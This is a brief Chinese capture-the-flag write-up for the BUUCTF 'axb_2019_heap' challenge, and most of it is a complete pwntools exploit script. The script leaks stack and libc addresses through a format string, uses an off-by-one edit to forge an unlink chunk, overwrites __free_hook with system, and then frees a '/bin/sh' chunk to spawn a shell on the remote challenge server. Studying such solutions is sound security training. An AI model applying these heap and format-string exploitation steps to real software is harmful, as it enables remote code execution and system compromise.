axb_2019_heap-format_string + off-by-one
axb_2019_heap
简单题,格式化字符串泄漏栈地址
算上rsp,格式化字符串参数是栈顺序+6-1
edit有off by one
构造unlink
chunk0
chunk1
chunk2
构造成这样,然后free1就行了
from pwn import *
local = 0
binary = "./axb_2019_heap"
libc_path = '../libc-2.23.so'
port = "27201"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('Enter the index you want to create (0-10):',str(index))
p.sendlineafter('Enter a size:',str(size))
p.sendafter('Enter the content: ',content)
def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('Enter an index:',str(index))
def edit(index,content):
p.sendlineafter('>> ','4')
p.sendlineafter('Enter an index:',str(index))
p.sendafter('Enter the content: ',content)
def format_string(name):
p.sendlineafter('Enter your name:',str(name))
# 11 arg can leak text addr
# 15 arg can leak libc
# overlap chunk , when we free, we need by pass unlink,so we need heap addr
libc = ELF(libc_path)
# format string
format_payload = "%11$p%15$p"
format_string(format_payload)
main_addr = 0x116A
_heaparray = 0x202060
offset = _heaparray - main_addr
p.recvuntil('0x')
heaparray = int(p.recv(12),16) - 28 + offset
print "[*] heaparray = ",hex(heaparray)
p.recvuntil('0x')
libc_base = int(p.recv(12),16) - 240 - libc.sym['__libc_start_main']
print "[*] libc base = ",hex(libc_base)
# off by one to edit
add(0,0x88,'aaaa\n')
add(1,0x88,'bbbb\n')
add(2,0x88,'/bin/sh\x00\n')
add(3,0x88,'protected\n')
fd = heaparray - 0x18
bk = heaparray - 0x10
chunk_0_payload = p64(0) + p64(0x80) + p64(fd) + p64(bk)
chunk_0_payload = chunk_0_payload.ljust(0x80,'a') + p64(0x80)
chunk_0_payload = chunk_0_payload + '\x90'
edit(0,chunk_0_payload)
# unlink
free(1)
system = libc_base + libc.sym['system']
__free_hook = libc_base + libc.sym['__free_hook']
payload = p64(0) * 3 + p64(__free_hook) + p64(0x8) # now chunk0 is chunk0 - 0x18
edit(0,payload + '\n') # now chunk0 is '__free_hook' , we can write it
edit(0,p64(system) + '\n')
free(2)
# gdb.attach(p)
p.interactive()